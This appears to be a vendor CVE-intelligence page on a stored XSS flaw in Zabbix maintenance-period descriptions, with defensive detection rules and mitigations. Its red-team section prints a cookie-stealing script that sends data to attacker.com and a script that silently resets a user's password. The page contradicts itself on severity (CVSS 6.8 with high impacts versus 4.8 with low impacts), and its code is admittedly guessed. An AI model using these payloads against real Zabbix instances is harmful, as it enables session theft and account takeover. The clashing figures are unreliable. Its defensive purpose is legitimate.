☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-23926

CVE-2026-23926 is a stored Cross-Site Scripting (XSS) vulnerability in Zabbix, a widely used open-source monitoring platform.
📅 PUBLISHED: 2026-05-06 06:58 UTC 🔄 UPDATED: 2026-10-02 19:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Zabbix — upgrade to patched release
CVSS VECTOR BREAKDOWN 6.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-23926 is a stored Cross-Site Scripting (XSS) vulnerability in Zabbix, a widely used open-source monitoring platform. An authenticated administrator (non-super) can inject a malicious JavaScript payload into a maintenance period description. This payload is then executed in the browser of any user who views the tooltip for that maintenance period in the Host navigator widget. This allows an attacker to perform unauthorized actions on behalf of the victim user, potentially leading to data theft, session hijacking, or further compromise within the Zabbix instance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Zabbix server application. The risk is primarily to organizations using Zabbix for monitoring, as the attack surface is internal to the Zabbix web interface.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector (AV): Network (N) - The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): High (H) - The attacker must be an authenticated administrator.
  • User Interaction (UI): Required (R) - The victim must hover over the tooltip.
  • Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the Zabbix application.
  • Confidentiality (C): Low (L) - Limited data exposure possible.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for lateral movement and privilege escalation within the Zabbix environment makes this a significant concern for organizations relying on Zabbix for critical monitoring.

Deep Dive & Mechanics

The vulnerability resides in the Host navigator widget's tooltip rendering logic. When a maintenance period is created, the description field is not properly sanitized. The application stores the user-supplied JavaScript payload in the database. When any user (including super-admins) hovers over the maintenance period icon in the Host navigator widget, the tooltip is dynamically generated, and the unsanitized payload is executed in the context of the victim's browser session.

Attack Flow:

  1. Prerequisite: The attacker must have administrator-level access (non-super) to the Zabbix instance.
  2. Injection: The attacker creates a new maintenance period and inserts a malicious JavaScript payload into the description field (e.g., <script>alert('XSS')</script>).
  3. Trigger: A victim user (any user with access to the Host navigator widget) hovers over the maintenance period icon.
  4. Execution: The browser renders the tooltip, executing the attacker's JavaScript.
  5. Impact: The attacker can steal session cookies, perform actions on behalf of the victim (e.g., create new users, modify configurations), or exfiltrate sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly outputs the maintenance period description into the HTML tooltip without sanitization.

// Vulnerable JavaScript (Conceptual)
function showTooltip(maintenancePeriod) {
    var tooltip = '<div class="tooltip">' + maintenancePeriod.description + '</div>';
    document.getElementById('tooltip-container').innerHTML = tooltip;
}

Patched Code (Conceptual): The patched code should sanitize the description before rendering it in the tooltip.

// Patched JavaScript (Conceptual)
function showTooltip(maintenancePeriod) {
    var sanitizedDescription = sanitizeHTML(maintenancePeriod.description);
    var tooltip = '<div class="tooltip">' + sanitizedDescription + '</div>';
    document.getElementById('tooltip-container').innerHTML = tooltip;
}

function sanitizeHTML(str) {
    var temp = document.createElement('div');
    temp.textContent = str;
    return temp.innerHTML;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Zabbix instance with administrator privileges (non-super).
  • A victim user who will view the Host navigator widget.

Exploitation Steps:

  1. Login: Authenticate to the Zabbix web interface as an administrator.
  2. Navigate to Maintenance: Go to Configuration -> Maintenance.
  3. Create Maintenance Period: Click Create maintenance period.
  4. Inject Payload: In the Description field, enter the following JavaScript payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save: Save the maintenance period.
  6. Wait for Trigger: Wait for a victim user to hover over the maintenance period icon in the Host navigator widget.
  7. Exfiltrate Data: The victim's browser will send a request to https://attacker.com/steal with their session cookie.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/zabbix.php?action=user.edit&userid=1', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('password=newpassword&password2=newpassword');
</script>

Blue Team

Detection Steps:

  1. Monitor Maintenance Period Creation: Log all creation and modification of maintenance periods, especially the description field.
  2. Review Description Content: Manually or automatically scan maintenance period descriptions for suspicious HTML/JavaScript.
  3. Check Web Server Logs: Look for unusual requests to /zabbix.php or other Zabbix endpoints that may indicate XSS exploitation.
  4. User Behavior Analytics: Monitor for unexpected actions performed by users who have recently viewed the Host navigator widget.

Mitigation Steps:

  1. Apply Patch: Update Zabbix to the latest patched version as soon as it is available.
  2. Input Validation: Implement strict input validation and output encoding for all user-supplied fields, especially those rendered in tooltips.
  3. Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS attacks.
  4. Least Privilege: Review and restrict administrator privileges to only those who require them.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains from the Zabbix server.
    • Unusual POST requests to /zabbix.php with parameters like action=user.edit or action=script.execute.
  • File IOCs:
    • Modified maintenance period entries in the Zabbix database (table maintenances).
  • Log IOCs:
    • Web server logs showing requests with encoded JavaScript in the description parameter.
    • Zabbix audit logs showing creation of maintenance periods with suspicious descriptions.

Detection Engineering

YARA Rule

rule Detect_Zabbix_XSS_Maintenance_Description {
    meta:
        description = "Detects potential XSS payloads in Zabbix maintenance period descriptions"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23926"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Zabbix Maintenance Period XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to create a Zabbix maintenance period with a suspicious description containing JavaScript.
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: zabbix
detection:
    selection:
        event_type: "maintenance.create"
        description|contains:
            - "<script"
            - "onload="
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Zabbix XSS Payload in Maintenance Description"; flow:to_server,established; content:"POST"; http_method; content:"/zabbix.php"; http_uri; content:"action=maintenance.create"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Restrict administrator privileges to only trusted users.
    • Monitor and audit all maintenance period creations.
    • Implement a Web Application Firewall (WAF) rule to block requests containing <script> or on*= in the description field.
  2. Long-term Fix:

    • Apply the official patch from Zabbix as soon as it is released.
    • Implement proper output encoding for all user-supplied data rendered in the web interface.
    • Conduct a security review of all other user input fields in Zabbix.
  3. Compensating Controls:

    • Deploy a Content Security Policy (CSP) header that restricts script execution.
    • Use browser-based XSS filters (e.g., X-XSS-Protection header).
    • Enable multi-factor authentication (MFA) for all administrator accounts.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 844EE1226F18CACA3EE88F8D] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-23926/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.